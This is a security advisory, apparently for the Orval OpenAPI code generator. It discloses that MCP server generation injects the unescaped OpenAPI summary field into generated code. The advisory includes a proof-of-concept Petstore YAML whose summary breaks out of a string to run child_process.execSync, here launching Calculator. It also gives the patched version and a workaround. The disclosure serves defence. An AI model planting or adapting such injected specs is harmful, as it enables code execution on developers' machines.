GHSA-mwr6-3gp8-9jmj

Impact

The MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to "break out" of the string literal and inject arbitrary code.

Here is an example OpenAPI with the exploit

```yaml

openapi: 3.0.4

info:

  title: Swagger Petstore - OpenAPI 3.0

  description: |-

    This is a sample Pet Store Server based on the OpenAPI 3.0 specification.  You can find out more about

    Swagger at https://swagger.io. In the third iteration of the pet store, we've switched to the design first approach!

    You can now help us improve the API whether it's by making changes to the definition itself or to the code.

    That way, with time, we can improve the API in general, and expose some of the new features in OAS3.

    Some useful links:

• • The Pet Store repository
  • The source API definition for the Pet Store

  termsOfService: https://swagger.io/terms/

  contact:

    email: apiteam@swagger.io

  license:

    name: Apache 2.0

    url: https://www.apache.org/licenses/LICENSE-2.0.html

  version: 1.0.27-SNAPSHOT

externalDocs:

  description: Find out more about Swagger

  url: https://swagger.io

servers:

• url: https://petstore3.swagger.io/api/v3

tags:

• name: pet

    description: Everything about your Pets

    externalDocs:

      description: Find out more

      url: https://swagger.io

• name: store

    description: Access to Petstore orders

    externalDocs:

      description: Find out more about our store

      url: https://swagger.io

• name: user

    description: Operations about user

paths:

  /pet/findByStatus:

    get:

      tags:

• • • pet

      summary: Finds Pets by status.' + require('child_process').execSync("open -a Calculator").toString(),//

      description: Multiple status values can be provided with comma separated strings.

      operationId: findPetsByStatus

      parameters:

• • • name: status

          in: query

          description: Status values that need to be considered for filter

          schema:

            type: string

      responses:

        '200':

          description: successful operation

          content:

            application/json:

              schema:

                type: string

        '400':

          description: Invalid status value

        default:

          description: Unexpected error

      security:

• • • petstore_auth:
      • write:pets
      • read:pets

 ```

Patches

This is fixed in version 7.18.0 or higher

Workarounds

Do check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.